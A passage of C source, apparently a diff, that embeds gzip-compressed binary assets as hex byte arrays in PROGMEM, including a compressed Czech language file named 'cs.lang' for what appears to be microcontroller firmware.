0x68, 0xcf, 0xf3, 0x2e, 0x36, 0x39, 0x6f, 0x74, 0x37, 0xa3, 0x36, 0xb7, 0x19, 0xa8, 0xec, 0x44, 0x11, 0x99, 0x0a, 0xa2, 0xa7, 0xa1, 0x17, 0x2e, 0xb4, 0xf5, 0xd5, 0x5d, 0xb4, 0xd3, 0xbe, 0x5b, 0x61, 0x69, 0x48, 0x50, 0x02, 0x25, 0x0a, 0xa2, 0x13, 0x71, 0x5e, 0x0a, 0xcc, 0x70, 0xec, 0xe9, 0x21, 0x5d, 0x3f, 0x11, 0xe1, 0xc6, 0x86, 0xf6, 0x02, 0x59, 0x34, 0x01, 0x4e, 0x5c, 0x73, 0x0f, 0xe0, 0x55, 0x40, 0xd5, 0x98, 0xab, 0x5b, 0x46, 0x45, 0x36, 0x99, 0x4a, 0x1d, 0xf6, 0x18, 0xed, 0x36, 0xe8, 0x81, 0x59, 0xf8, 0x80, 0x5a, 0xe3, 0x3e, 0xad, 0x9e, 0xbf, 0x17, 0x69, 0x34, 0xca, 0x15, 0xe3, 0x68, 0x11, 0xed, 0x15, 0x67, 0x22, 0x56, 0x88, 0x9d, 0x56, 0x3a, 0x30, 0xaa, 0xe8, 0x57, 0x6b, 0x5d, 0x7c, 0x07, 0x56, 0x05, 0x42, 0xe3, 0xc1, 0x90, 0x7f, 0x56, 0x9e, 0x2a, 0xaf, 0xd8, 0xf5, 0x2b, 0x97, 0x98, 0xcf, 0x81, 0x0d, 0xf4, 0x24, 0x7a, 0x1f, 0xad, 0x35, 0x4b, 0xbe, 0x27, 0x36, 0xe7, 0x9d, 0xf2, 0x8e, 0xfb, 0xa7, 0xa6, 0x68, 0x99, 0x3a, 0x15, 0x80, 0xdc, 0xdc, 0x28, 0x59, 0x70, 0x39, 0xe1, 0xf7, 0x4b, 0x15, 0x1c, 0x3b, 0x6b, 0x11, 0xd1, 0xb6, 0xd6, 0xba, 0x4d, 0x40, 0xf1, 0xb9, 0x27, 0xa6, 0x95, 0xf1, 0x80, 0xdb, 0x37, 0xe9, 0x9f, 0xe9, 0x1e, 0x99, 0xa9, 0x98, 0x59, 0x54, 0x73, 0x53, 0x2b, 0x16, 0xc4, 0x45, 0xba, 0xdb, 0xd8, 0x06, 0x05, 0xe5, 0x69, 0x57, 0x04, 0x59, 0x60, 0x1c, 0x68, 0xee, 0x91, 0x52, 0x19, 0xaa, 0x7d, 0xa7, 0x14, 0xe5, 0x44, 0xae, 0xa8, 0xb7, 0xc0, 0x3b, 0xb2, 0x4e, 0xfc, 0x13, 0x8b, 0x11, 0xba, 0xa4, 0x58, 0x86, 0x85, 0x11, 0xf2, 0x5e, 0x5d, 0x5b, 0x0d, 0x82, 0x92, 0xd7, 0xd6, 0x6c, 0x86, 0xb3, 0x46, 0x27, 0x2a, 0x32, 0x2b, 0x94, 0xae, 0x32, 0x95, 0xa9, 0x47, 0x77, 0x71, 0x18, 0xb9, 0x29, 0xca, 0xe0, 0x56, 0x75, 0xfd, 0x6d, 0x85, 0xbb, 0x0f, 0x2e, 0xd6, 0x0c, 0xcf, 0x83, 0x90, 0xa0, 0x73, 0x18, 0xe5, 0x7d, 0x94, 0x06, 0xb8, 0x18, 0x32, 0x9a, 0xfd, 0xa0, 0xf8, 0xb1, 0x1c, 0x21, 0xa4, 0x2c, 0x2c, 0x99, 0x2c, 0x62, 0x3b, 0x4f, 0x05, 0x75, 0x19, 0x03, 0x36, 0x74, 0x69, 0xe0, 0x32, 0x5f, 0x38, 0xb3, 0xbd, 0xb9, 0x3b, 0xf7, 0x86, 0x87, 0x7f, 0xc3, 0x24, 0x01, 0xda, 0xb4, 0xc4, 0x07, 0x71, 0x59, 0x00, 0x11, 0xd1, 0x8f, 0x96, 0xfb, 0xca, 0xe2, 0x67, 0x90, 0x4d, 0xb4, 0x5f, 0x51, 0xb9, 0x3b, 0x6a, 0x1d, 0x36, 0x50, 0xfa, 0x65, 0x92, 0xdc, 0x57, 0x19, 0xb7, 0x61, 0x81, 0xbd, 0x0b, 0x81, 0xb3, 0x58, 0x57, 0x75, 0x91, 0x28, 0x2b, 0x38, 0x56, 0x73, 0xdb, 0x12, 0x6e, 0x2c, 0x21, 0xa0, 0xa2, 0xf3, 0x16, 0xa5, 0x26, 0x62, 0x51, 0x6d, 0x79, 0x8f, 0x24, 0x4f, 0x12, 0xd8, 0x42, 0xa7, 0x54, 0x17, 0xb5, 0x8d, 0x3c, 0x28, 0xa3, 0x13, 0x7c, 0xd1, 0x20, 0x00, 0xa3, 0x36, 0x6a, 0xf7, 0xaa, 0x84, 0x21, 0xd4, 0x0e, 0xb9, 0x55, 0xf6, 0xe7, 0x47, 0x43, 0x5f, 0x32, 0xb6, 0xda, 0x65, 0x6d, 0xd1, 0xb7, 0xf2, 0x1b, 0xb1, 0x92, 0xb0, 0xef, 0x00, 0x7a, 0xf8, 0x92, 0x88, 0xa0, 0xaf, 0x97, 0xf8, 0x02, 0x6c, 0x1d, 0xf6, 0x5e, 0x6a, 0x31, 0xb9, 0x25, 0xe3, 0x43, 0x9d, 0x2e, 0xa3, 0x7a, 0x22, 0x16, 0xd2, 0x64, 0x67, 0x6c, 0x1b, 0xcd, 0x99, 0xb8, 0xd8, 0x7a, 0xd5, 0x22, 0x62, 0x4c, 0xc7, 0xa5, 0x71, 0xdc, 0x48, 0x90, 0x49, 0xac, 0x5f, 0x62, 0x53, 0x32, 0x8a, 0x84, 0xb2, 0x28, 0x7b, 0x66, 0x19, 0x7c, 0xb7, 0x5b, 0x6f, 0x12, 0xf6, 0x6d, 0x1f, 0x18, 0xb1, 0x88, 0x51, 0x9f, 0xbc, 0x80, 0x15, 0xfa, 0xea, 0xc9, 0xb5, 0x79, 0xc2, 0x1c, 0xd1, 0xa8, 0xec, 0x81, 0xdc, 0xf1, 0x75, 0x81, 0xc2, 0x81, 0x44, 0xf2, 0x01, 0x18, 0x37, 0x44, 0xe6, 0x10, 0x81, 0x37, 0xb7, 0x90, 0x2c, 0x2b, 0xd2, 0x26, 0x36, 0x85, 0x15, 0x33, 0x7a, 0xf7, 0xf2, 0x97, 0x86, 0x01, 0xb6, 0xaf, 0x3b, 0x55, 0xb0, 0x7e, 0x44, 0x9d, 0x72, 0xa6, 0x5e, 0xd7, 0xea, 0x8b, 0x32, 0x03, 0xeb, 0xbb, 0x06, 0x4e, 0xda, 0x2a, 0x3a, 0xbc, 0x34, 0xe4, 0x80, 0x43, 0xa0, 0x8f, 0x7e, 0x50, 0xae, 0x89, 0x66, 0x89, 0x35, 0x40, 0x27, 0xc2, 0xc6, 0x57, 0xa7, 0xbd, 0x2b, 0xf4, 0x12, 0x47, 0x8e, 0x11, 0xa2, 0x7d, 0x22, 0x5e, 0x2d, 0xdb, 0x90, 0xc3, 0x28, 0x3b, 0x0e, 0x5e, 0x12, 0xf4, 0x32, 0x29, 0xd5, 0xe3, 0x31, 0x8c, 0x30, 0x22, 0x5d, 0xa7, 0xbe, 0x5c, 0x59, 0x05, 0xf8, 0x81, 0x34, 0xbb, 0x9e, 0xdf, 0xbb, 0x3b, 0x7c, 0x77, 0x04, 0xf4, 0x96, 0x49, 0x7b, 0x38, 0x0e, 0x5e, 0xca, 0x94, 0x1a, 0xa7, 0x6b, 0xcd, 0x8c, 0xda, 0x7a, 0xa3, 0xe7, 0xe7, 0xc9, 0x9d, 0x6d, 0xf4, 0x94, 0x46, 0x9f, 0x72, 0xea, 0xcc, 0x37, 0x5d, 0x12, 0x8b, 0x30, 0xe8, 0xb8, 0xf4, 0x85, 0x12, 0x72, 0xc0, 0x45, 0x41, 0x70, 0x0d, 0x59, 0xd8, 0x5a, 0x7f, 0xcf, 0x78, 0x70, 0x4b, 0xfa, 0x47, 0x9f, 0xcc, 0xb5, 0x8e, 0x68, 0x1e, 0x02, 0xaf, 0xcd, 0x42, 0x0b, 0x47, 0x7c, 0x0e, 0x7f, 0x3e, 0x19, 0xb1, 0x3b, 0x2f, 0xe7, 0xf2, 0xa0, 0x17, 0xb3, 0xee, 0x60, 0x70, 0xce, 0x1f, 0x98, 0xbc, 0x69, 0x9f, 0x25, 0x2a, 0x8b, 0x30, 0xeb, 0xfa, 0x53, 0xf8, 0xdb, 0xff, 0x73, 0x8e, 0x83, 0xdf, 0x52, 0xfb, 0x49, 0x14, 0x09, 0xae, 0x5a, 0xe8, 0xf8, 0xfb, 0x0c, 0x00, 0x14, 0x6c, 0x59, 0x72, 0x83, 0x1b, 0x9f, 0x7a, 0x27, 0x27, 0x15, 0x19, 0x65, 0x33, 0x9b, 0x31, 0x36, 0xd2, 0x76, 0x45, 0x58, 0xa0, 0x76, 0xe5, 0x20, 0xf7, 0x6c, 0xc8, 0xfb, 0x5c, 0x79, 0xe4, 0x0f, 0x84, 0xdc, 0xd3, 0x3d, 0xd4, 0xb4, 0x96, 0x5d, 0xb3, 0x72, 0x9d, 0xe8, 0xd9, 0x46, 0x5e, 0x6f, 0x76, 0x18, 0xbc, 0xf4, 0xd3, 0x96, 0xde, 0xda, 0x05, 0x43, 0x1b, 0x54, 0x06, 0x90, 0xf4, 0x77, 0xf9, 0x2c, 0x8d, 0xb2, 0x89, 0x22, 0x37, 0x41, 0x39, 0x25, 0xfc, 0x08, 0x04, 0xe4, 0x2c, 0xcf, 0x2c, 0xf3, 0x60, 0x8b, 0x46, 0xf0, 0x53, 0x1a, 0xba, 0x3c, 0xda, 0xa9, 0x85, 0x30, 0xd6, 0x01, 0xda, 0x43, 0x33, 0xc1, 0x5b, 0x83, 0xdb, 0xd1, 0x2a, 0x66, 0xa7, 0xdd, 0xff, 0xec, 0xf9, 0xf1, 0x57, 0x70, 0x4d, 0x1b, 0x59, 0xae, 0x13, 0xfd, 0x1a, 0x07, 0xf9, 0x9f, 0xc9, 0xd6, 0x44, 0xb2, 0x46, 0x2d, 0x42, 0x60, 0x25, 0x8f, 0x19, 0x0a, 0xf2, 0x2d, 0x1a, 0x4b, 0x07, 0x16, 0xa1, 0x92, 0x70, 0xcd, 0x22, 0xdc, 0x8d, 0xd9, 0x09, 0x34, 0x8e, 0xe1, 0x41, 0xf5, 0x41, 0x25, 0xe0, 0x75, 0x06, 0x94, 0x5b, 0xb4, 0x96, 0x3a, 0x12, 0xb1, 0x1a, 0x1b, 0x74, 0x17, 0x55, 0x96, 0x2a, 0x1a, 0xcb, 0x19, 0x8b, 0xcf, 0x49, 0xe5, 0xd7, 0xab, 0x19, 0xf5, 0x3c, 0xf5, 0xf7, 0x1a, 0x24, 0xab, 0x32, 0x2e, 0x5f, 0xe1, 0x62, 0xc5, 0xf6, 0x6b, 0x6d, 0xf3, 0xb2, 0x6f, 0xcb, 0x9c, 0x32, 0xd1, 0x3b, 0xd6, 0x09, 0xac, 0xfd, 0xa4, 0x07, 0x62, 0x63, 0xb3, 0xde, 0xa9, 0x29, 0xc9, 0xed, 0x45, 0xa5, 0x81, 0x61, 0x82, 0xde, 0x0a, 0xd6, 0xa3, 0x6a, 0xab, 0xc6, 0x7b, 0x5d, 0x63, 0x8f, 0x1e, 0x3e, 0x78, 0x30, 0xd6, 0xa7, 0x7c, 0xda, 0x9a, 0x3f, 0x58, 0x60, 0xe8, 0xab, 0x3f, 0x7c, 0x79, 0xcb, 0x45, 0x21, 0x9e, 0xaf, 0x0c, 0x5a, 0x3e, 0xe3, 0xfe, 0x87, 0xe7, 0x69, 0x6f, 0x6c, 0x94, 0x4f, 0x11, 0x60, 0xb9, 0x47, 0x76, 0xda, 0x3e, 0xf1, 0x7d, 0x33, 0xe6, 0xfa, 0x9d, 0x6b, 0x64, 0xe4, 0xb6, 0x6b, 0xf4, 0x1b, 0xfa, 0xf1, 0xc9, 0x6d, 0xd7, 0x1f, 0xdd, 0x18, 0x00, 0xe9, 0xf7, 0xaf, 0xef, 0x0e, 0x28, 0xf3, 0x7c, 0xf1, 0x88, 0x21, 0xd4, 0x4a, 0x67, 0xab, 0xa1, 0x9f, 0x2f, 0x41, 0xf1, 0x5f, 0xbe, 0xf8, 0xbd, 0xc8, 0x55, 0xc5, 0x4e, 0x98, 0x8b, 0x2e, 0x7d, 0x0c, 0x47, 0x08, 0x33, 0xfa, 0x65, 0x39, 0x78, 0x74, 0xbb, 0x71, 0x82, 0x34, 0x40, 0x08, 0xe6, 0x0d, 0xe7, 0xd6, 0xc1, 0x13, 0xc7, 0x98, 0x07, 0x75, 0x21, 0xfa, 0xbf, 0x38, 0x71, 0x40, 0xf6, 0x7f, 0x3b, 0xd1, 0xf3, 0xb4, 0x9b, 0xf4, 0x56, 0xc4, 0xde, 0xbd, 0x63, 0xf4, 0xe7, 0x88, 0x01, 0x35, 0x68, 0xa5, 0x99, 0xb4, 0x57, 0xae, 0xa9, 0x87, 0x21, 0xdb, 0x14, 0x16, 0x31, 0xea, 0xa7, 0x38, 0xb2, 0x67, 0x87, 0x7c, 0x0c, 0xba, 0x52, 0x35, 0x33, 0x5e, 0xdf, 0x7d, 0x49, 0x70, 0x82, 0xbd, 0xd3, 0xe9, 0xb2, 0xaa, 0x69, 0x27, 0x65, 0x61, 0x94, 0xa7, 0xbe, 0x85, 0x73, 0xe5, 0x84, 0x48, 0xf0, 0x2d, 0x7d, 0xfa, 0x29, 0xd2, 0xef, 0x0c, 0x19, 0xb2, 0xe4, 0x4a, 0xb1, 0xcb, 0xd1, 0x23, 0xd4, 0xab, 0x40, 0x6e, 0x54, 0x76, 0xf5, 0x11, 0xa7, 0x96, 0xf5, 0xcf, 0xc4, 0xd3, 0xc1, 0x69, 0x08, 0x48, 0xca, 0xa0, 0x24, 0xcd, 0x61, 0xa2, 0x74, 0xd7, 0x56, 0xce, 0x94, 0x3f, 0xe0, 0x51, 0x66, 0xa1, 0xdf, 0x1a, 0x5f, 0xb9, 0xb7, 0xd2, 0x98, 0x55, 0x5d, 0xb1, 0xfb, 0x3f, 0x3a, 0x20, 0xd3, 0x07, 0x87, 0x6e, 0x46, 0x72, 0x9e, 0x9f, 0xf4, 0x06, 0xe6, 0xac, 0x2d, 0x7a, 0x9f, 0xd9, 0xdd, 0x35, 0x2e, 0x2f, 0xa9, 0xe3, 0x75, 0xdf, 0x67, 0x06, 0xc6, 0x0a, 0x22, 0x3a, 0xb1, 0x2d, 0xa2, 0x38, 0xa5, 0x7d, 0x11, 0xbe, 0xb0, 0x86, 0x82, 0xcb, 0x0d, 0xc8, 0x9b, 0x6f, 0x79, 0x34, 0x43, 0x3c, 0x45, 0x67, 0x81, 0xdf, 0x8a, 0x70, 0x89, 0x96, 0x08, 0x77, 0xd9, 0x76, 0x87, 0xb1, 0x91, 0x7a, 0x5b, 0x84, 0xde, 0xe5, 0x8c, 0x70, 0x04, 0xbf, 0x01, 0x0d, 0x7a, 0xf1, 0x14, 0xae, 0x72, 0x53, 0x96, 0x05, 0x04, 0xed, 0x70, 0xfc, 0xde, 0xa7, 0x9f, 0xfe, 0xb2, 0x1f, 0xcf, 0xf8, 0x06, 0x67, 0x95, 0x00, 0xcf, 0xec, 0x3d, 0x9f, 0xc1, 0x77, 0x79, 0xd4, 0x64, 0xfe, 0x46, 0x24, 0x53, 0x5e, 0x2b, 0xe2, 0x66, 0xcc, 0xaf, 0xe2, 0x42, 0xd5, 0xf3, 0xd4, 0x00, 0x37, 0xbd, 0x02, 0x96, 0x52, 0xf9, 0x57, 0x8a, 0x3b, 0xc8, 0x1d, 0x7c, 0x40, 0x9c, 0x18, 0x62, 0x6a, 0x97, 0xf8, 0xaa, 0xec, 0xd1, 0xf4, 0xda, 0xb9, 0x92, 0x20, 0xc6, 0x22, 0x0f, 0xb4, 0x50, 0x3f, 0x52, 0xa3, 0x17, 0x2e, 0xf9, 0xf8, 0xc6, 0xd4, 0x0f, 0x25, 0x61, 0xec, 0xbd, 0xbd, 0xfe, 0xf6, 0x98, 0xfd, 0x39, 0xbb, 0x20, 0xf7, 0xd7, 0x8c, 0x35, 0xce, 0x4b, 0xe2, 0x99, 0xe9, 0x8d, 0x83, 0x0e, 0x5e, 0xd8, 0x9d, 0x58, 0x89, 0xe6, 0x48, 0xe6, 0x32, 0x40, 0x67, 0x45, 0xa3, 0xa3, 0x7d, 0xf7, 0x13, 0x07, 0x3e, 0x74, 0x3c, 0x90, 0xf0, 0x59, 0xac, 0x08, 0xf1, 0x43, 0x85, 0x8d, 0x04, 0x49, 0x21, 0x53, 0x49, 0x0c, 0x57, 0xef, 0x0a, 0x57, 0x0e, 0x27, 0xcf, 0xa5, 0x3f, 0xd6, 0x36, 0x47, 0x79, 0xca, 0xad, 0x9b, 0x68, 0x15, 0x23, 0xc3, 0xc3, 0x33, 0x41, 0x7e, 0x64, 0x95, 0xe5, 0x0d, 0x7a, 0x30, 0x50, 0xc9, 0xf6, 0x53, 0x25, 0x32, 0x80, 0xaf, 0x9f, 0xc6, 0x5d, 0x99, 0x48, 0x28, 0x5f, 0x67, 0xee, 0x91, 0x8f, 0x6d, 0x62, 0xe1, 0xd6, 0xe3, 0x4b, 0x17, 0x7f, 0xe4, 0x78, 0xdc, 0x45, 0xbf, 0x8d, 0x1a, 0x45, 0x3a, 0x71, 0x62, 0x9c, 0x35, 0x40, 0xeb, 0x28, 0x81, 0xf7, 0xad, 0x1a, 0x1b, 0x0c, 0x02, 0x0f, 0x50, 0x5f, 0xff, 0x6d, 0x70, 0x7a, 0x52, 0x2f, 0xf2, 0xd4, 0x6e, 0x12, 0x94, 0xe8, 0xc4, 0x94, 0xfb, 0xd9, 0xb4, 0x3d, 0x8b, 0xdb, 0xcc, 0xf6, 0x0a, 0x6b, 0x22, 0x1a, 0x1c, 0x7c, 0xa4, 0x04, 0x88, 0x08, 0xf4, 0x98, 0xf0, 0x00, 0x48, 0x0c, 0x64, 0x2b, 0xc9, 0xca, 0xb1, 0xea, 0x67, 0x55, 0x77, 0x9f, 0xff, 0xed, 0x46, 0x47, 0xf3, 0xb2, 0x24, 0x4a, 0x46, 0xa5, 0x64, 0x14, 0xc3, 0xdd, 0x77, 0x5e, 0xbd, 0x50, 0xb6, 0xd7, 0xb8, 0xc9, 0x59, 0x44, 0xba, 0xb4, 0x89, 0xf0, 0xd1, 0xff, 0x10, 0xdc, 0xf8, 0xf7, 0x8d, 0xff, 0x00, 0x84, 0xfb, 0xb0, 0x03, 0x53, 0x18, 0x00, 0x00}; +const char cslang[] PROGMEM = {0x1f, 0x8b, 0x08, 0x08, 0xb6, 0x41, 0xf9, 0x5b, 0x02, 0xff, 0x63, 0x73, 0x2e, 0x6c, 0x61, 0x6e, 0x67, 0x00, 0xa5, 0x59, 0x4d, 0x6f, 0xdc, 0xc8, 0x11, 0x3d, 0xc7, 0xbf, 0xa2, 0xad, 0x93, 0x0d, 0x48, 0x13, 0xc9, 0x9b, 0x5d, 0x38, 0x0b, 0xe4, 0xe0, 0x5d, 0xcb, 0x89, 0x56, 0xb1, 0x24, 0x58, 0xb2, 0x1c, 0x04, 0x06, 0x84, 0x26, 0xd9, 0xf2, 0xf4, 0x90, 0xec, 0x26, 0xc8, 0x26, 0xe5, 0x99, 0x20, 0x87, 0xdc, 0x72, 0x58, 0xff, 0x00, 0xc7, 0xa7, 0x39, 0xe4, 0xa0, 0x83, 0xe0, 0x43, 0x6e, 0x01, 0xe4, 0x0b, 0x67, 0xfe, 0x57, 0x5e, 0x55, 0x37, 0x39, 0x9c, 0x91, 0xbc, 0x08, 0x12, 0x43, 0xb0, 0x66, 0xfa, 0xab, 0xaa, 0xeb, 0xe3, 0xd5, 0xab, 0xd6, 0x5f, 0x1e, 0x08, 0xfc, 0xdb, 0xca, 0xa4, 0x79, 0xb7, 0xf5, 0xbd, 0xd8, 0x8a, 0xab, 0xad, 0x6d, 0x3f, 0x72, 0x25, 0x4b, 0xa3, 0xfd, 0xe0, 0xf9, 0xb3, 0x57, 0xc7, 0xe7, 0xed, 0xdf, 0x8e, 0xda, 0x0f, 0xdd, 0x64, 0xa2, 0xab, 0x38, 0x93, 0x3a, 0x57, 0x25, 0xcd, 0x9f, 0x29, 0xe3, 0xac, 0x28, 0x4a, 0x3b, 0x51, 0xa9, 0x13, 0x55, 0x66, 0xeb, 0xe5, 0x97, 0xf6, 0x46, 0x14, 0xb6, 0x9e, 0x29, 0x1a, 0x16, 0x4e, 0x55, 0xce, 0x36, 0x32, 0xc6, 0xa0, 0x14, 0x2a, 0xa9, 0x53, 0xb9, 0xf8, 0x60, 0xf0, 0xa5, 0x99, 0x62, 0xa5, 0x76, 0xed, 0xcd, 0xe8, 0xad, 0xd9, 0x3f, 0x3d, 0x79, 0xfa, 0xe4, 0xbb, 0xef, 0xb6, 0x85, 0x51, 0x91, 0x15, 0x13, 0x35, 0xb6, 0xe2, 0xf4, 0xf9, 0x21, 0xbe, 0xd1, 0xc2, 0xba, 0x5c, 0x7c, 0x50, 0xc6, 0xfa, 0xc3, 0x2c, 0x09, 0xb3, 0x61, 0xe7, 0x36, 0x8d, 0x61, 0xa0, 0x52, 0x22, 0xb7, 0x63, 0x5b, 0xe3, 0xcc, 0x2a, 0x9d, 0x3a, 0x63, 0x6b, 0x27, 0xe2, 0xf1, 0x34, 0x9a, 0x3e, 0x7c, 0x6b, 0xde, 0x9a, 0x13, 0x5e, 0x3e, 0x71, 0x0a, 0xaa, 0x0c, 0x75, 0x9d, 0x28, 0xc3, 0xfb, 0xb5, 0x68, 0x32, 0x59, 0x39, 0x88, 0xca, 0xc5, 0x4c, 0x2e, 0x3f, 0xb6, 0x37, 0x33, 0xc5, 0x5f, 0xa4, 0xa8, 0xda, 0x1b, 0x88, 0xc9, 0x57, 0xc7, 0xb4, 0x37, 0x4d, 0x3b, 0xcf, 0x95, 0x68, 0x64, 0xa6, 0x13, 0x52, 0xee, 0x8d, 0xde, 0x79, 0xa1, 0x45, 0x89, 0xc1, 0x18, 0xd7, 0xb5, 0x45, 0x25, 0x4d, 0x7b, 0x2d, 0x1a, 0x71, 0xb0, 0xbf, 0xbf, 0x2f, 0x9e, 0xee, 0x3e, 0x19, 0xed, 0xed, 0x89, 0xca, 0x49, 0x93, 0xc8, 0x32, 0xa9, 0x47, 0xe2, 0x48, 0x45, 0x99, 0x4d, 0xeb, 0x89, 0xca, 0xd5, 0xb6, 0x90, 0x46, 0xe3, 0x8a, 0x33, 0x59, 0xc9, 0x31, 0x8f, 0x88, 0x04, 0x77, 0xd7, 0xa6, 0xbd, 0x8d, 0xc7, 0xe2, 0xb2, 0x54, 0x69, 0xa3, 0x4c, 0xcc, 0xe6, 0x39, 0x59, 0x7e, 0x54, 0xc9, 0xea, 0xda, 0xb9, 0xa8, 0xb4, 0x98, 0xa5, 0xd6, 0xb8, 0xd2, 0x66, 0x35, 0x5d, 0xcc, 0xe6, 0x8a, 0x75, 0x16, 0x0d, 0xa9, 0xb6, 0x9c, 0xe3, 0xd3, 0x4c, 0xe5, 0x7a, 0xc4, 0x7a, 0x97, 0xb6, 0xa2, 0x3d, 0x46, 0xd9, 0x24, 0x95, 0x33, 0x5e, 0x6f, 0xe4, 0xa6, 0x2d, 0x64, 0x6a, 0x69, 0xf4, 0xed, 0x56, 0x59, 0x2f, 0xe7, 0x7a, 0xf1, 0x21, 0xad, 0xdf, 0x6e, 0x05, 0x77, 0xbc, 0xdd, 0x9a, 0xc8, 0x1c, 0xde, 0xa6, 0x81, 0x02, 0x67, 0xd8, 0xa2, 0x9d, 0xc3, 0x0a, 0xf0, 0x85, 0x28, 0x55, 0x3b, 0xcf, 0xa0, 0xb0, 0x68, 0xda, 0xdb, 0x99, 0x91, 0x39, 0xc6, 0xc6, 0x76, 0x75, 0x6c, 0xfd, 0x90, 0xcc, 0x96, 0xd6, 0x89, 0x70, 0x32, 0x15, 0x51, 0x9d, 0x28, 0x96, 0x9d, 0x60, 0x13, 0x74, 0x26, 0x6d, 0x10, 0x18, 0x6e, 0x9b, 0x3d, 0x81, 0x5d, 0x35, 0xab, 0x07, 0xc3, 0x2c, 0xbf, 0x28, 0x31, 0xa9, 0x68, 0xad, 0x8e, 0xa1, 0x43, 0x61, 0xe3, 0xb1, 0x2d, 0x74, 0x46, 0xf7, 0x39, 0xa9, 0xa3, 0x4c, 0xa7, 0x16, 0xf2, 0xe9, 0xba, 0x36, 0x22, 0xdb, 0x09, 0x8a, 0x8b, 0x7c, 0x20, 0x56, 0x44, 0x6a, 0x26, 0xe0, 0xc8, 0x39, 0x5c, 0x74, 0x8d, 0x58, 0x42, 0x58, 0x34, 0x8b, 0x4f, 0x2e, 0xf3, 0xe1, 0x34, 0x94, 0x82, 0x4d, 0xc9, 0xe2, 0x53, 0xd6, 0xce, 0x9d, 0x1a, 0x84, 0x6c, 0x0a, 0x11, 0xa6, 0xe6, 0x00, 0xab, 0x30, 0xd7, 0xd4, 0xb8, 0x38, 0xed, 0xc5, 0xb4, 0x84, 0x3e, 0x39, 0x2f, 0x47, 0x30, 0xd0, 0xf9, 0xb7, 0x30, 0x42, 0x55, 0x90, 0x0d, 0x53, 0x91, 0xc0, 0x76, 0xaa, 0xa1, 0xd8, 0xa9, 0x43, 0x4c, 0xe9, 0xd8, 0x35, 0x74, 0x4c, 0x6a, 0xf3, 0xda, 0x68, 0xb7, 0xf8, 0x84, 0x08, 0x13, 0x21, 0xb8, 0x22, 0x3b, 0xd1, 0xf4, 0x35, 0x53, 0x05, 0x7b, 0xac, 0x0b, 0x13, 0xc4, 0xd4, 0x8b, 0xde, 0x75, 0xb0, 0xec, 0x0d, 0x22, 0x4b, 0x9b, 0x4b, 0x5b, 0xe6, 0x9c, 0x44, 0x46, 0x36, 0xcb, 0xb9, 0xd3, 0x8d, 0x53, 0xdf, 0x23, 0x23, 0x7f, 0x35, 0x48, 0xc7, 0x9d, 0xa8, 0x76, 0xce, 0x1a, 0xca, 0x4a, 0x8a, 0x18, 0x64, 0x8d, 0xcb, 0x60, 0x47, 0x45, 0xc2, 0x3a, 0x1b, 0x92, 0xa7, 0xa0, 0xa4, 0xa8, 0x1b, 0x95, 0x28, 0x0a, 0x55, 0x3b, 0x33, 0x14, 0xd1, 0xd0, 0x89, 0x4f, 0x2b, 0x55, 0x66, 0x65, 0x42, 0x47, 0x1c, 0x47, 0xc6, 0x36, 0xda, 0xf1, 0x68, 0x15, 0x4b, 0x3e, 0xf6, 0x34, 0x45, 0x22, 0xc2, 0x65, 0x7e, 0xb0, 0xd2, 0x49, 0xc5, 0xa3, 0xa7, 0x07, 0xcf, 0x79, 0x44, 0x3a, 0x27, 0xe3, 0x94, 0xc7, 0xda, 0x7f, 0x38, 0x9b, 0x4e, 0xfd, 0x3a, 0xe5, 0x1c, 0xc0, 0x84, 0x87, 0x8f, 0x60, 0x14, 0xd9, 0xf4, 0xd2, 0xe8, 0x5a, 0x34, 0x7c, 0x40, 0xbf, 0xbb, 0x81, 0x8b, 0xaa, 0xf0, 0xd2, 0x0e, 0x8e, 0x5e, 0x1c, 0xe3, 0x17, 0x9f, 0x9c, 0x65, 0x0c, 0x46, 0x50, 0x9d, 0xbf, 0xc7, 0x63, 0x69, 0x8c, 0xe2, 0xb1, 0x43, 0x64, 0xdc, 0x3c, 0xf3, 0xa6, 0x50, 0x8d, 0x8e, 0x15, 0x0b, 0x7a, 0x9d, 0x59, 0xf8, 0x17, 0x33, 0xc3, 0x94, 0x0e, 0xea, 0x64, 0x2a, 0x76, 0x17, 0xe1, 0xc4, 0x63, 0x84, 0xed, 0xe2, 0x83, 0x76, 0xa2, 0xe9, 0x8e, 0x4e, 0xd4, 0xc6, 0x8a, 0xc4, 0xde, 0x59, 0x53, 0xaa, 0xdc, 0x36, 0x6a, 0xb5, 0xa2, 0x72, 0x25, 0x92, 0x79, 0xb0, 0x00, 0xb7, 0x74, 0xda, 0x9a, 0x0b, 0x32, 0xdc, 0x85, 0x83, 0x73, 0x68, 0xdd, 0xe2, 0x67, 0x59, 0x89, 0x8a, 0x4d, 0xe8, 0xc3, 0x97, 0x3c, 0x0e, 0x85, 0x79, 0x87, 0x51, 0x57, 0x6c, 0x20, 0xcc, 0xdd, 0xfa, 0x23, 0x60, 0xa7, 0xfe, 0x26, 0xc1, 0x0f, 0x32, 0x49, 0x82, 0x77, 0x75, 0x22, 0xfb, 0xa1, 0x0b, 0xaf, 0xb0, 0xe2, 0xb9, 0xc3, 0xcc, 0xb2, 0x8b, 0x10, 0xf4, 0x51, 0xc9, 0x60, 0x34, 0x94, 0x02, 0xad, 0xcb, 0xab, 0x52, 0x3b, 0xd5, 0x05, 0x09, 0x00, 0xcb, 0x9f, 0x43, 0x4a, 0x5e, 0x68, 0xe3, 0x54, 0x09, 0x6c, 0xeb, 0xb4, 0x25, 0x65, 0x44, 0x3f, 0xc8, 0x6a, 0xd6, 0x79, 0xe4, 0x81, 0x7f, 0xf1, 0x73, 0x7b, 0x03, 0xb8, 0xf7, 0x9b, 0x65, 0xf9, 0x4e, 0x39, 0x36, 0xfc, 0x8f, 0xed, 0x4d, 0xa6, 0xfa, 0xa0, 0xb9, 0xe8, 0x3c, 0xbc, 0x23, 0x0e, 0x29, 0xa9, 0x90, 0x85, 0x8c, 0x3e, 0x5d, 0x20, 0x21, 0x32, 0x9b, 0x29, 0xd0, 0x46, 0x11, 0x2a, 0xc9, 0xe5, 0x17, 0x0f, 0xe5, 0x09, 0xf0, 0x54, 0xfc, 0x71, 0xff, 0x39, 0xe6, 0x0a, 0xa3, 0xc4, 0x23, 0x86, 0x21, 0xcc, 0xcc, 0xf2, 0xc5, 0x27, 0xc3, 0x29, 0x00, 0x78, 0x43, 0x36, 0xdb, 0xfa, 0x31, 0x41, 0x92, 0xc3, 0x25, 0xd3, 0xe1, 0xe9, 0x21, 0x74, 0x91, 0x43, 0x3b, 0xe2, 0x0d, 0xf6, 0x36, 0x58, 0x50, 0xda, 0xd9, 0x98, 0xec, 0x71, 0x43, 0xa0, 